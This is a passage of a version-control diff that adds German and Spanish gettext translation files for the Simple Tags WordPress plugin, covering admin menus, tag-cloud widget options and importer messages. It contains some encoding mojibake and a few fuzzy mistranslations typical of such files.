+#: /2.3/inc/simple-tags.admin.php:1506
+#: /2.5/inc/simple-tags.admin.php:1672
+msgid "Yahoo"
+msgstr "Yahoo"
+
+#: /2.3/inc/simple-tags.admin.php:1507
+#: /2.5/inc/simple-tags.admin.php:1673
+msgid "Tag The Net"
+msgstr "Tag The Net"
+
+#: /2.3/inc/simple-tags.admin.php:1513
+#: /2.5/inc/simple-tags.admin.php:1676
+msgid "Choose a provider to get suggested tags (local, yahoo or tag the net)."
+msgstr "Scuhe einen Pprovider um Tag-VorschlÃ€ge zu bekommen (local, yahoo oder tag the net)."
+
+#: /2.3/inc/simple-tags.admin.php:1742
+#: /2.5/inc/simple-tags.admin.php:1757
+#, php-format
+msgid "%s post(s) tags updated with success !"
+msgstr "%s Tag(s) in BeitrÃ€gen erfolgreich aktualisiert!"
+
+#: /2.3/inc/simple-tags.admin.php:1744
+#: /2.5/inc/simple-tags.admin.php:1755
+#, php-format
+msgid "%s page(s) tags updated with success !"
+msgstr "%s Tag(s) in Seiten erfolgreich aktualisiert!"
+
+#: /2.3/inc/simple-tags.admin.php:2155
+#: /2.5/inc/simple-tags.admin.php:2163
+#, fuzzy, php-format
+msgid "&copy; Copyright 2007 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s"
+msgstr "&copy; Copyright 2007 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a>"
+
+#: /2.3/inc/simple-tags.admin.php:2195
+msgid "Page: "
+msgstr "Seite:"
+
+#: /2.3/inc/simple-tags.admin.php:2274
+#: /2.5/inc/simple-tags.admin.php:2265
+#, fuzzy
+msgid "General"
+msgstr "Allgemeine Einstellungen"
+
+#: /2.3/inc/simple-tags.admin.php:2277
+#: /2.5/inc/simple-tags.admin.php:2268
+msgid "Administration"
+msgstr "Administration"
+
+#: /2.3/inc/simple-tags.admin.php:2280
+#: /2.5/inc/simple-tags.admin.php:2271
+#, fuzzy
+msgid "Meta Keyword"
+msgstr "Meta Keyword Einstellungen"
+
+#: /2.3/inc/simple-tags.admin.php:2283
+#: /2.5/inc/simple-tags.admin.php:2274
+#: /extras/simple-tags.importer.php:242
+msgid "Embedded Tags"
+msgstr "Eingebettete Tags"
+
+#: /2.3/inc/simple-tags.admin.php:2286
+#: /2.5/inc/simple-tags.admin.php:2277
+msgid "Tags for Current Post"
+msgstr "Tags fÃŒr aktuellen Beitrag"
+
+#: /2.3/inc/simple-tags.admin.php:2289
+#: /2.5/inc/simple-tags.admin.php:2280
+#, fuzzy
+msgid "Related Posts"
+msgstr "Einstellungen fÃŒr verwandte Artikel"
+
+#: /2.3/inc/simple-tags.admin.php:2292
+#: /2.5/inc/simple-tags.admin.php:2283
+#, fuzzy
+msgid "Related Tags"
+msgstr "Tag umbenennen"
+
+#: /2.3/inc/simple-tags.admin.php:2295
+#: /2.5/inc/simple-tags.admin.php:2286
+#, fuzzy
+msgid "Tag cloud"
+msgstr "Tag Cloud %d"
+
+#: /2.3/inc/simple-tags.widgets.php:143
+#: /2.5/inc/simple-tags.widgets.php:131
+msgid "Empty field will use default value."
+msgstr "Leere Felder verwenden den Standardwert."
+
+#: /2.3/inc/simple-tags.widgets.php:146
+#: /2.5/inc/simple-tags.widgets.php:134
+msgid "Title:"
+msgstr "Titel:"
+
+#: /2.3/inc/simple-tags.widgets.php:151
+#: /2.5/inc/simple-tags.widgets.php:139
+msgid "Max tags to display: (default: 45)"
+msgstr "Maximale Anzahl Tags, die angezeigt werden (Standard: 45)"
+
+#: /2.3/inc/simple-tags.widgets.php:156
+#: /2.5/inc/simple-tags.widgets.php:144
+#, fuzzy
+msgid "Tags selection:"
+msgstr "Zu lÃ¶schende(r) Tag(s):"
+
+#: /2.3/inc/simple-tags.widgets.php:159
+#: /2.3/inc/simple-tags.widgets.php:170
+#: /2.5/inc/simple-tags.widgets.php:147
+#: /2.5/inc/simple-tags.widgets.php:158
+#, fuzzy
+msgid "Inverse Alphabetical"
+msgstr "Alphabetisch"
+
+#: /2.3/inc/simple-tags.widgets.php:160
+#: /2.5/inc/simple-tags.widgets.php:148
+#, fuzzy
+msgid "Most popular (default)"
+msgstr "Beliebteste"
+
+#: /2.3/inc/simple-tags.widgets.php:162
+#: /2.5/inc/simple-tags.widgets.php:150
+msgid "Random"
+msgstr "Zufallsauswahl"
+
+#: /2.3/inc/simple-tags.widgets.php:173
+#: /2.5/inc/simple-tags.widgets.php:161
+#, fuzzy
+msgid "Random (default)"
+msgstr "Flat (Standard)"
+
+#: /2.3/inc/simple-tags.widgets.php:178
+#: /2.5/inc/simple-tags.widgets.php:166
+msgid "Font size mini: (default: 8)"
+msgstr "Kleinste SchriftgrÃ¶Ãe (Standard: 8)"
+
+#: /2.3/inc/simple-tags.widgets.php:183
+#: /2.5/inc/simple-tags.widgets.php:171
+msgid "Font size max: (default: 22)"
+msgstr "GrÃ¶Ãte SchriftgrÃ¶Ãe (Standard: 22)"
+
+#: /2.3/inc/simple-tags.widgets.php:188
+#: /2.5/inc/simple-tags.widgets.php:176
+msgid "Unit font size:"
+msgstr "Einheit fÃŒr SchriftgrÃ¶Ãe:"
+
+#: /2.3/inc/simple-tags.widgets.php:190
+#: /2.5/inc/simple-tags.widgets.php:178
+msgid "Point (default)"
+msgstr "Punkt (Standard)"
+
+#: /2.3/inc/simple-tags.widgets.php:191
+#: /2.5/inc/simple-tags.widgets.php:179
+msgid "Pixel"
+msgstr "Pixel"
+
+#: /2.3/inc/simple-tags.widgets.php:192
+#: /2.5/inc/simple-tags.widgets.php:180
+msgid "Em"
+msgstr "Em"
+
+#: /2.3/inc/simple-tags.widgets.php:193
+#: /2.5/inc/simple-tags.widgets.php:181
+msgid "Pourcent"
+msgstr "%"
+
+#: /2.3/inc/simple-tags.widgets.php:198
+#: /2.5/inc/simple-tags.widgets.php:186
+msgid "Format:"
+msgstr "Format:"
+
+#: /2.3/inc/simple-tags.widgets.php:200
+#: /2.5/inc/simple-tags.widgets.php:188
+msgid "Flat (default)"
+msgstr "Flat (Standard)"
+
+#: /2.3/inc/simple-tags.widgets.php:201
+#: /2.5/inc/simple-tags.widgets.php:189
+msgid "List (UL/LI)"
+msgstr "Liste (UL/LI)"
+
+#: /2.3/inc/simple-tags.widgets.php:207
+#: /2.5/inc/simple-tags.widgets.php:195
+msgid "Use auto color cloud:"
+msgstr "Auto Color Cloud verwenden:"
+
+#: /2.3/inc/simple-tags.widgets.php:211
+#: /2.5/inc/simple-tags.widgets.php:199
+msgid "Font color mini: (default: #CCCCCC)"
+msgstr "Schriftfarbe klein: (Standard: #CCCCCC)"
+
+#: /2.3/inc/simple-tags.widgets.php:216
+#: /2.5/inc/simple-tags.widgets.php:204
+msgid "Font color max: (default: #000000)"
+msgstr "Schriftfarbe groÃ: (Standard: #000000)"
+
+#: /2.3/inc/simple-tags.widgets.php:221
+#: /2.5/inc/simple-tags.widgets.php:209
+msgid "Extended format: (advanced usage)"
+msgstr "Erweiterte Formatierungen: (Fortgeschrittene Benutzer)"
+
+#: /2.3/inc/simple-tags.widgets.php:252
+msgid "Tag Cloud Widgets"
+msgstr "Tag Cloud Widgets"
+
+#: /2.3/inc/simple-tags.widgets.php:253
+#: /2.5/inc/simple-tags.widgets.php:241
+msgid "How many tag cloud widgets would you like?"
+msgstr "Wie Vile Tag-Cloud Widgets mÃ¶chtest Du haben?"
+
+#: /2.3/inc/simple-tags.widgets.php:257
+#: /2.5/inc/simple-tags.widgets.php:245
+msgid "Save"
+msgstr "Speichern"
+
+#: /2.3/inc/simple-tags.widgets.php:274
+#: /2.3/inc/simple-tags.widgets.php:275
+#, fuzzy, php-format
+msgid "Extended Tag Cloud %d"
+msgstr "Tag Cloud %d"
+
+#: /2.5/simple-tags.client.php:111
+msgid "No tags for this post."
+msgstr "Keine Tags zu diesem Beitrag."
+
+#: /2.5/simple-tags.client.php:123
+#, fuzzy
+msgid "No related tags found."
+msgstr "Keine vorgeschlagenen Tags gefunden."
+
+#: /2.5/simple-tags.client.php:1117
+msgid "<a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "<a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Entferne %tag_name%</a>"
+
+#: /2.5/simple-tags.client.php:1506
+#, fuzzy
+msgid "<a href=\"%tag_link%\" title=\"%tag_name_attribute%\" %tag_rel%>%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" class=\"tag-link-%tag_id%\" title=\"%tag_count% BeitrÃ€ge\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+
+#: /2.5/inc/simple-tags.admin.php:221
+#: /2.5/inc/simple-tags.admin.php:525
+#: /2.5/inc/simple-tags.admin.php:1071
+#, fuzzy
+msgid "Visit the <a href=\"http://code.google.com/p/simple-tags/\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "Besuche die <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags/francais\">Plugin Homepage</a> fÃŒr weitere Informationen. Wenn Du einen Fehler findest oder Ideen fÃŒr Erweiterungen hast, <a href=\"mailto:amaury@wordpress-fr.net\">Kontaktiere mich.</a> !"
+
+#: /2.5/inc/simple-tags.admin.php:228
+msgid "Options"
+msgstr "Einstellungen"
+
+#: /2.5/inc/simple-tags.admin.php:232
+msgid "Activation"
+msgstr "Aktivieren"
+
+#: /2.5/inc/simple-tags.admin.php:239
+msgid "Tags database"
+msgstr "Tags Datenbank"
+
+#: /2.5/inc/simple-tags.admin.php:246
+#, fuzzy
+msgid "Target"
+msgstr "Tags"
+
+#: /2.5/inc/simple-tags.admin.php:253
+#, fuzzy
+msgid "Keywords list"
+msgstr "Meta Keyword Einstellungen"
+
+#: /2.5/inc/simple-tags.admin.php:256
+msgid "Separated with a comma"
+msgstr "Durch Komma getrennt"
+
+#: /2.5/inc/simple-tags.admin.php:262
+#: /2.5/inc/simple-tags.admin.php:528
+#: /2.5/inc/simple-tags.admin.php:551
+#, fuzzy
+msgid "Update options &raquo;"
+msgstr "Einstellungen aktualisieren"
+
+#: /2.5/inc/simple-tags.admin.php:266
+msgid "Auto tags all content &raquo;"
+msgstr "Auto tags fÃŒr gesamten Inhalt &raquo;"
+
+#: /2.5/inc/simple-tags.admin.php:304
+#, php-format
+msgid "All done! %s tags added."
+msgstr "Fertig! %s Tags hinzugefÃŒgt."
+
+#: /2.5/inc/simple-tags.admin.php:320
+msgid "Active tags for page:"
+msgstr "Aktiviere Tags fÃŒr statische Seiten:"
+
+#: /2.5/inc/simple-tags.admin.php:321
+msgid "This feature allow page to be tagged. This option add pages in tags search. Also this feature add tag management in write page."
+msgstr "Diese Funktion erlaubt Tags fÃŒr statische Seiten. Die Option bezieht Seiten in die Tag-Suche ein und ergÃ€nzt \"Seite schreiben\" um das Tag Management."
+
+#: /2.5/inc/simple-tags.admin.php:343
+msgid "Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin \"All in One SEO Pack\" is installed and enabled. This feature is automatically disabled."
+msgstr "Platziert den Meta Keyword Tag direkt im Header Deiner Seite (Die meisten, wenn auch nicht alle Themes unterstÃŒtzen diese Funktion). Teilweise werden diese Keywords von Suchmaschinen verwendet.<br /><strong>ACHTUNG:</strong> Wenn Du das Plugin \"All in One SEO Pack\" verwendest, solltest Du hier keinen Haken setzen!"
+
+#: /2.5/inc/simple-tags.admin.php:868
+msgid "Published"
+msgstr "VerÃ¶ffentlicht"
+
+#: /2.5/inc/simple-tags.admin.php:868
+msgid "Published posts"
+msgstr "VerÃ¶ffentlichte BeitrÃ€ge"
+
+#: /2.5/inc/simple-tags.admin.php:869
+msgid "Scheduled"
+msgstr "Scheduled"
+
+#: /2.5/inc/simple-tags.admin.php:869
+#, fuzzy
+msgid "Scheduled posts"
+msgstr "Keine verwandten Artikel"
+
+#: /2.5/inc/simple-tags.admin.php:870
+msgid "Pending Review"
+msgstr "Bei Redaktion vorlegen"
+
+#: /2.5/inc/simple-tags.admin.php:870
+msgid "Pending posts"
+msgstr "Vorgelegte BeitrÃ€ge"
+
+#: /2.5/inc/simple-tags.admin.php:871
+msgid "Draft"
+msgstr "Entwurf"
+
+#: /2.5/inc/simple-tags.admin.php:871
+msgid "Drafts|manage posts header"
+msgstr "EntwÃŒrfe|manage posts header"
+
+#: /2.5/inc/simple-tags.admin.php:872
+msgid "Private"
+msgstr "Privat"
+
+#: /2.5/inc/simple-tags.admin.php:872
+#, fuzzy
+msgid "Private posts"
+msgstr "Keine verwandten Artikel"
+
+#: /2.5/inc/simple-tags.admin.php:916
+#, fuzzy
+msgid "Mass edit tags"
+msgstr "Massenbearbeitung"
+
+#: /2.5/inc/simple-tags.admin.php:923
+#, fuzzy
+msgid "All Posts"
+msgstr "Beitrag"
+
+#: /2.5/inc/simple-tags.admin.php:944
+#, fuzzy
+msgid "All Pages"
+msgstr "Seite"
+
+#: /2.5/inc/simple-tags.admin.php:953
+msgid "Search Posts"
+msgstr "BeitrÃ€ge suchen"
+
+#: /2.5/inc/simple-tags.admin.php:985
+msgid "Show all dates"
+msgstr "Zeige alle Daten"
+
+#: /2.5/inc/simple-tags.admin.php:1005
+msgid "View all categories"
+msgstr "Alle Kategorien ansehen"
+
+#: /2.5/inc/simple-tags.admin.php:1018
+#, fuzzy
+msgid "Filter"
+msgstr "Filter &#187;"
+
+#: /2.5/inc/simple-tags.admin.php:1048
+#, fuzzy
+msgid "Update all &raquo;"
+msgstr "Alle aktualisieren"
+
+#: /2.5/inc/simple-tags.admin.php:1264
+#: /2.5/inc/simple-tags.admin.php:1279
+#, fuzzy
+msgid "Tags <small>(separate multiple tags with commas: cats, pet food, dogs)</small>"
+msgstr "Tags (trenne mehrere Tags durch Kommas: Katze, Tierfutter, Hunde)"
+
+#: /2.5/inc/simple-tags.widgets.php:240
+#, fuzzy
+msgid "Simple Tags : Tag Cloud Widgets"
+msgstr "Tag Cloud Widgets"
+
+#: /2.5/inc/simple-tags.widgets.php:253
+msgid "Your most used tags in cloud format with dynamic color and many options"
+msgstr "Deine meistgenutzen Tags als Cloud mit einstellbarer Farbe und vielen Optionen"
+
+#: /2.5/inc/simple-tags.widgets.php:263
+#: /2.5/inc/simple-tags.widgets.php:264
+#, fuzzy, php-format
+msgid "ST: Tag Cloud %d"
+msgstr "Tag Cloud %d"
+
+#: /extras/simple-tags.importer.php:57
+#, fuzzy
+msgid "Import Embedded Tags"
+msgstr "Eingebettete Tags"
+
+#: /extras/simple-tags.importer.php:58
+msgid "Steps may take a few minutes depending on the size of your database. Please be patient."
+msgstr "Dies kann, je nach GrÃ¶Ãe Deiner Datenbank, einige Minuten dauern. Bitte hab Geduld."
+
+#: /extras/simple-tags.importer.php:59
+msgid "Visit the <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "Besuche die <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags/francais\">Plugin Homepage</a> fÃŒr weitere Informationen. Wenn Du einen Fehler findest oder Ideen fÃŒr Erweiterungen hast, <a href=\"mailto:amaury@wordpress-fr.net\">Kontaktiere mich.</a> !"
+
+#: /extras/simple-tags.importer.php:68
+msgid "Howdy! This imports tags from embedded tags into this blog using the new WordPress native tagging structure."
+msgstr "Hiermit kannst Du Tags von embedded tags in Deine Seite importieren."
+
+#: /extras/simple-tags.importer.php:69
+msgid "To accommodate larger databases for those tag-crazy authors out there, we have made this into an easy 4-step program to help you kick that nasty Embedded Tags habit. Just keep clicking along and we will let you know when you are in the clear!"
+msgstr "Um groÃe Datenmengen fÃŒr die tag-verrÃŒckten autoren anzupassen, haben wir ein 4-Schritte-Programm entwickelt, um mit  Embedded Tags von Wordpress klarzukommen. Einfach durchklicken und wir geben Bescheid, wenn alles fertig ist."
+
+#: /extras/simple-tags.importer.php:70
+msgid "Don&#8217;t be stupid - backup your database before proceeding!"
+msgstr "ACHTUNG! - Undbedingt vorher Datenbanksicherung durchfÃŒhren!"
+
+#: /extras/simple-tags.importer.php:72
+msgid "Step 1 &raquo;"
+msgstr "Schritt 1 &raquo;"
+
+#: /extras/simple-tags.importer.php:95
+msgid "Missing parameters in URL. (Start or End)"
+msgstr "Fehlerder Parameters in URL. (Start oder Ende)"
+
+#: /extras/simple-tags.importer.php:107
+msgid "Configure and add tags to posts&#8230;"
+msgstr "Konfigurieren und Tags hinzufÃŒgen zu BeitrÃ€gen&#8230;"
+
+#: /extras/simple-tags.importer.php:114
+#, fuzzy
+msgid "Start marker"
+msgstr "Sortierung:"
+
+#: /extras/simple-tags.importer.php:117
+msgid "End marker"
+msgstr "Ende marker"
+
+#: /extras/simple-tags.importer.php:120
+msgid "Delete embedded tags once imported ?"
+msgstr "Importierte embedded tags nach Import lÃ¶schen?"
+
+#: /extras/simple-tags.importer.php:122
+msgid "Import also embedded tags from page ?"
+msgstr "Auch embedded tags von Seite importieren?"
+
+#: /extras/simple-tags.importer.php:125
+msgid "Start import &raquo;"
+msgstr "Import starten &raquo;"
+
+#: /extras/simple-tags.importer.php:180
+msgid "Done!"
+msgstr "Fertig!"
+
+#: /extras/simple-tags.importer.php:182
+msgid "Step 2 &raquo;"
+msgstr "Schritt 2 &raquo;"
+
+#: /extras/simple-tags.importer.php:199
+msgid "Import Complete!"
+msgstr "Import vollstÃ€ndig!"
+
+#: /extras/simple-tags.importer.php:200
+msgid "OK, so we lied about this being a 4-step program! You&#8217;re done!"
+msgstr "OK, dass Du 4 Schritte brauchst, war eine kleine LÃŒge! Du bist schon fertig!"
+
+#: /extras/simple-tags.importer.php:201
+msgid "Now wasn&#8217;t that easy?"
+msgstr "Und war das nicht einfach?"
+
+#: /extras/simple-tags.importer.php:202
+msgid "You can manage tags now !"
+msgstr "Jetzt kannst Du Deine Tags verwalten!"
+
+#: /extras/simple-tags.importer.php:242
+msgid "Import Embedded Tags into the new WordPress native tagging structure."
+msgstr "Importiere Embedded Tags in die neue WordPress Tag-Struktur."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-es_ES.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-es_ES.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-es_ES.po	(revision 44)
@@ -0,0 +1,2550 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Simple Tags 1.6.4\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-12-20 00:22+0100\n"
+"PO-Revision-Date: 2008-12-22 10:14+0100\n"
+"Last-Translator: Samuel Aguilera <contacto@agamum.net>\n"
+"Language-Team: Samuel Aguilera <contacto@agamum.net>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-KeywordsList: _e;_c;__\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-Language: Spanish\n"
+"X-Poedit-Country: Spain\n"
+"X-Poedit-SearchPath-0: C:\\SVN\\ST WP.org\\trunk\n"
+
+# D:\SVN\Plugins\ST
+#: /simple-tags.php:52
+msgid "Simple Tags can't work with this WordPress version !"
+msgstr "Â¡Simple Tags no puede funcionar con esta versiÃ³n de WordPress!"
+
+# D:\SVN\Plugins\ST
+#, php-format
+msgid "You must use <a href=\"%1$s\">Simple Tagging Plugin</a> for it to work."
+msgstr "Debes usar <a href=\"%1$s\">Simple Tagging Plugin</a> para que funcione."
+
+# C:\SVN\ST
+#: /2.3/simple-tags.client.php:87
+#: /2.3/simple-tags.client.php:555
+#: /2.5/simple-tags.client.php:86
+#: /2.5/simple-tags.client.php:554
+#: /2.7/simple-tags.client.php:88
+#: /2.7/simple-tags.client.php:566
+msgid "No related posts."
+msgstr "No hay entradas relacionadas."
+
+# C:\SVN\ST
+#: /2.3/simple-tags.client.php:88
+#: /2.3/simple-tags.client.php:554
+#: /2.5/simple-tags.client.php:87
+#: /2.5/simple-tags.client.php:553
+#: /2.7/simple-tags.client.php:89
+#: /2.7/simple-tags.client.php:565
+msgid "<h4>Related posts</h4>"
+msgstr "<h4>Entradas relacionadas</h4>"
+
+# C:\SVN\ST
+#: /2.3/simple-tags.client.php:89
+#: /2.3/simple-tags.client.php:557
+#: /2.5/simple-tags.client.php:88
+#: /2.5/simple-tags.client.php:556
+#: /2.7/simple-tags.client.php:90
+#: /2.7/simple-tags.client.php:568
+msgid "<a href=\"%post_permalink%\" title=\"%post_title% (%post_date%)\">%post_title%</a> (%post_comment%)"
+msgstr "<a href=\"%post_permalink%\" title=\"%post_title% (%post_date%)\">%post_title%</a> (%post_comment%)"
+
+# C:\SVN\ST
+#: /2.3/simple-tags.client.php:95
+#: /2.3/simple-tags.client.php:1222
+#: /2.5/simple-tags.client.php:94
+#: /2.5/simple-tags.client.php:1253
+#: /2.7/simple-tags.client.php:96
+#: /2.7/simple-tags.client.php:1265
+msgid "No tags."
+msgstr "No hay etiquetas."
+
+# C:\SVN\ST
+#: /2.3/simple-tags.client.php:96
+#: /2.3/simple-tags.client.php:1224
+#: /2.5/simple-tags.client.php:95
+#: /2.5/simple-tags.client.php:1255
+#: /2.7/simple-tags.client.php:97
+#: /2.7/simple-tags.client.php:1267
+msgid "<h4>Tag Cloud</h4>"
+msgstr "<h4>Nube de etiquetas</h4>"
+
+# C:\SVN\ST
+#: /2.3/simple-tags.client.php:98
+#: /2.3/simple-tags.client.php:1223
+#: /2.5/simple-tags.client.php:97
+#: /2.5/simple-tags.client.php:1254
+#: /2.7/simple-tags.client.php:99
+#: /2.7/simple-tags.client.php:1266
+msgid "<a href=\"%tag_link%\" id=\"tag-link-%tag_id%\" class=\"st-tags t%tag_scale%\" title=\"%tag_count% topics\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" id=\"tag-link-%tag_id%\" class=\"st-tags t%tag_scale%\" title=\"%tag_count% entradas\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+
+# C:\SVN\ST
+#: /2.3/simple-tags.client.php:110
+#: /2.3/simple-tags.client.php:1439
+#: /2.5/simple-tags.client.php:109
+#: /2.5/simple-tags.client.php:1499
+#: /2.7/simple-tags.client.php:111
+#: /2.7/simple-tags.client.php:1511
+msgid "Tags: "
+msgstr "Etiquetas: "
+
+# C:\SVN\ST
+#: /2.3/simple-tags.client.php:112
+#: /2.3/simple-tags.client.php:1446
+#: /2.5/simple-tags.client.php:1506
+#: /2.7/simple-tags.client.php:1518
+msgid "No tag for this post."
+msgstr "No hay etiquetas para esta entrada."
+
+# C:\SVN\ST
+#: /2.3/simple-tags.client.php:115
+#: /2.3/simple-tags.client.php:1445
+#: /2.5/simple-tags.client.php:114
+#: /2.7/simple-tags.client.php:116
+msgid "<a href=\"%tag_link%\" title=\"%tag_name%\" %tag_rel%>%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" title=\"%tag_name%\" %tag_rel%>%tag_name%</a>"
+
+# C:\SVN\ST
+#: /2.3/simple-tags.client.php:123
+#: /2.3/simple-tags.client.php:874
+#: /2.5/simple-tags.client.php:122
+#: /2.5/simple-tags.client.php:904
+#: /2.7/simple-tags.client.php:124
+#: /2.7/simple-tags.client.php:916
+msgid "<h4>Related tags</h4>"
+msgstr "<h4>Etiquetas relacionadas</h4>"
+
+# C:\SVN\ST
+#: /2.3/simple-tags.client.php:124
+#: /2.3/simple-tags.client.php:875
+#: /2.5/simple-tags.client.php:905
+#: /2.7/simple-tags.client.php:917
+msgid "No related tag found."
+msgstr "No se han encontrado etiquetas relacionadas."
+
+# C:\SVN\ST
+#: /2.3/simple-tags.client.php:125
+#: /2.5/simple-tags.client.php:124
+#: /2.7/simple-tags.client.php:126
+msgid "<span>%tag_count%</span> <a href=\"%tag_link_add%\">+</a> <a href=\"%tag_link%\">%tag_name%</a>"
+msgstr "<span>%tag_count%</span> <a href=\"%tag_link_add%\">+</a> <a href=\"%tag_link%\">%tag_name%</a>"
+
+# C:\SVN\ST
+#: /2.3/simple-tags.client.php:130
+#: /2.5/simple-tags.client.php:129
+#: /2.7/simple-tags.client.php:131
+msgid "&raquo; <a href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "&raquo; <a href=\"%tag_link_remove%\" title=\"Eliminar %tag_name_attribute% de la b&uacute;squeda\">Eliminar %tag_name%</a>"
+
+# C:\SVN\ST
+#: /2.3/simple-tags.client.php:272
+#: /2.5/simple-tags.client.php:266
+#: /2.7/simple-tags.client.php:278
+#, php-format
+msgid "Posts tagged with %s"
+msgstr "Entradas etiquetadas con %s"
+
+# C:\SVN\ST
+#: /2.3/simple-tags.client.php:786
+#: /2.5/simple-tags.client.php:825
+#: /2.7/simple-tags.client.php:837
+msgid "There is no excerpt because this is a protected post."
+msgstr "No hay extracto porque esta es una entrada protegida."
+
+# C:\SVN\ST
+#: /2.3/simple-tags.client.php:876
+#: /2.5/simple-tags.client.php:906
+#: /2.7/simple-tags.client.php:918
+msgid "<span>%tag_count%</span> <a %tag_rel% href=\"%tag_link_add%\">+</a> <a %tag_rel% href=\"%tag_link%\" title=\"See posts with %tag_name_attribute%\">%tag_name%</a>"
+msgstr "<span>%tag_count%</span> <a %tag_rel% href=\"%tag_link_add%\">+</a> <a %tag_rel% href=\"%tag_link%\" title=\"Ver entradas con %tag_name_attribute%\">%tag_name%</a>"
+
+# C:\SVN\ST
+#: /2.3/simple-tags.client.php:1078
+msgid "&raquo; <a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "&raquo; <a %tag_rel% href=\"%tag_link_remove%\" title=\"Eliminar %tag_name_attribute% de la b&uacute;squeda\">Eliminar %tag_name%</a>"
+
+# C:\SVN\ST
+#: /2.3/simple-tags.client.php:1685
+#: /2.5/simple-tags.client.php:1751
+#: /2.7/simple-tags.client.php:1763
+msgid "Invalid Taxonomy"
+msgstr "TaxonomÃ­a no vÃ¡lida"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:149
+#: /2.3/inc/simple-tags.admin.php:628
+#: /2.5/inc/simple-tags.admin.php:173
+#: /2.5/inc/simple-tags.admin.php:640
+#: /2.7/inc/simple-tags.admin.php:233
+#: /2.7/inc/simple-tags.admin.php:687
+msgid "Simple Tags: Manage Tags"
+msgstr "Simple Tags: Gestionar etiquetas"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:149
+#: /2.5/inc/simple-tags.admin.php:173
+#: /2.7/inc/simple-tags.admin.php:233
+msgid "Manage Tags"
+msgstr "Gestionar etiquetas"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:150
+#: /2.3/inc/simple-tags.admin.php:843
+#: /2.5/inc/simple-tags.admin.php:174
+#: /2.7/inc/simple-tags.admin.php:234
+msgid "Simple Tags: Mass Edit Tags"
+msgstr "Simple Tags: EdiciÃ³n masiva de etiquetas"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:150
+#: /2.5/inc/simple-tags.admin.php:174
+#: /2.7/inc/simple-tags.admin.php:234
+msgid "Mass Edit Tags"
+msgstr "EdiciÃ³n masiva de etiquetas"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:151
+#: /2.3/inc/simple-tags.admin.php:209
+#: /2.5/inc/simple-tags.admin.php:175
+#: /2.7/inc/simple-tags.admin.php:235
+msgid "Simple Tags: Auto Tags"
+msgstr "Simple Tags: Autoetiquetado"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:151
+#: /2.5/inc/simple-tags.admin.php:175
+#: /2.5/inc/simple-tags.admin.php:232
+#: /2.7/inc/simple-tags.admin.php:235
+#: /2.7/inc/simple-tags.admin.php:292
+msgid "Auto Tags"
+msgstr "Autoetiquetado"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:152
+#: /2.3/inc/simple-tags.admin.php:522
+#: /2.5/inc/simple-tags.admin.php:176
+#: /2.5/inc/simple-tags.admin.php:536
+#: /2.7/inc/simple-tags.admin.php:236
+#: /2.7/inc/simple-tags.admin.php:592
+msgid "Simple Tags: Options"
+msgstr "Simple Tags: Opciones"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:152
+#: /2.5/inc/simple-tags.admin.php:176
+#: /2.7/inc/simple-tags.admin.php:236
+msgid "Simple Tags"
+msgstr "Simple Tags"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:194
+#: /2.5/inc/simple-tags.admin.php:218
+#: /2.7/inc/simple-tags.admin.php:278
+msgid "Auto tags options updated !"
+msgstr "Â¡Opciones de autoetiquetado actualizadas!"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:210
+#: /2.3/inc/simple-tags.admin.php:523
+#: /2.3/inc/simple-tags.admin.php:629
+#: /2.3/inc/simple-tags.admin.php:844
+#: /2.5/inc/simple-tags.admin.php:641
+#: /2.7/inc/simple-tags.admin.php:688
+msgid "Visit the <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
